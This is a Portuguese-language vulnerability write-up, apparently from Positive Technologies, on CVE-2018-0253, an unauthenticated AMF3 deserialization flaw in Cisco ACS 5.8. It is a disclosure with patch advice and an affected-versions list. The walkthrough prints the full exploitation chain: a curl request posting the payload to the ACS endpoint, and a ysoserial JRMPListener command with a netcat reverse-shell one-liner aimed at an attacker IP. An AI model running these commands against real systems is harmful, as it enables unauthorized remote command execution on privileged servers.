Recentemente, Markus Wulftange, do Code White,
compartilhou um estudo interessante sobre como atacar um aplicativo Web, se ele estiver escrito em Java e usar o protocolo AMF3. Esse protocolo pode ser encontrado onde o Flash é usado e a troca de dados entre o objeto SWF e a parte do servidor do aplicativo é necessária. O protocolo permite transferir objetos serializados do tipo flash.utils.IExternalizable para o servidor. Esses objetos do lado do servidor são desserializados, a conversão de tipos ocorre e o flash.utils.IExternalizable se transforma em java.io.Externalizable. Vale ressaltar que as classes que implementam essa interface controlam completamente os processos de sua própria serialização e desserialização. Isso significa que você pode tentar encontrar uma classe que, quando desserializada, executará código arbitrário.
Marcus examinou todas as classes do OpenJDK 8u121 que implementam a interface java.io.Externalizable e descobriu que elas incluem as classes sun.rmi.server.UnicastRef e sun.rmi.server.UnicastRef2 relacionadas ao mecanismo RMI. Se você preparar corretamente o objeto de uma dessas classes (inicialize-o com um link para o host do invasor) e depois transfira-o para o servidor vulnerável, a JVM do servidor registrará o link do LiveRef no "objeto remoto". Depois disso, o mecanismo de coleta de lixo tentará estabelecer uma conexão JRMP com o host especificado. E como você sabe, o protocolo JRMP envolve a troca de objetos Java serializados. Isso pode ser usado para realizar ataques relacionados à desserialização.
CVE-2018-0253 ou como invadimos o Cisco ACS
Uma vez, durante um de nossos testes, obtivemos acesso ao servidor Cisco ACS 5.8. Ao mesmo tempo, tivemos a oportunidade de conectar-se a um servidor em funcionamento por meio de uma interface da web. Durante a análise da interface da web, descobrimos que solicitações POST contendo objetos AMF3 são enviadas do cliente para o servidor.
Mais tarde, percebeu-se que o servidor aceita tais solicitações POST sem autorizaçãoOs cabeçalhos de resposta HTTP indicaram que a interface da web foi implementada em Java. Então, você pode tentar realizar um ataque.
Faça o download da
exploração original e altere as variáveis de host e porta. Ao compilar, você precisa ter certeza de que CLASSPATH contém o caminho para a biblioteca Apache BlazeDS. A execução do código compilado produzirá um pacote AMF: um objeto serializado da classe UnicastRef, que é inicializado por um link do LiveRef para o nosso servidor.
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
Enviamos uma solicitação HTTP contendo o pacote AMF gerado para o Cisco ACS e vemos uma tentativa de conexão.
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP Cisco ACS]/acsview/messagebroker/amfsecure

Isso aconteceu porque uma versão vulnerável da biblioteca Apache BlazeDS foi instalada no servidor. O Cisco ACS desempacotou o pacote AMF, desserializou o objeto que passamos e agora o coletor de lixo está tentando estabelecer uma conexão JRMP com o nosso servidor. Se você responder a essa solicitação com um objeto RMI, o Cisco ACS desserializa os dados recebidos e executa nosso código.
Usamos o utilitário ysoserial. Ele atuará como um servidor JRMP: após a conexão, o cliente receberá um objeto da biblioteca CommonsCollection1, dentro do qual é um código para executar um shell reverso.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ] 80 >/tmp/f'
Agora repetimos o envio do pacote AMF e obtemos o shell reverso:

Em vez de uma conclusão
A vulnerabilidade encontrada permite que um invasor não autorizado execute comandos arbitrários de um usuário privilegiado. O fabricante
classificou como 9,8 na escala CVSS . Aconselhamos a todos que usam este software a instalar o patch mais recente.
Software vulnerável:
- Cisco ACS <5.8.0.32.7 - vulnerável, não é necessária autorização;
- Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - vulnerável, é necessária autorização;
- Começando com o Cisco ACS 5.8.0.32.9 - a vulnerabilidade está fechada.
Autores : Mikhail Klyuchnikov e Yuri Aleinov, Positive Technologies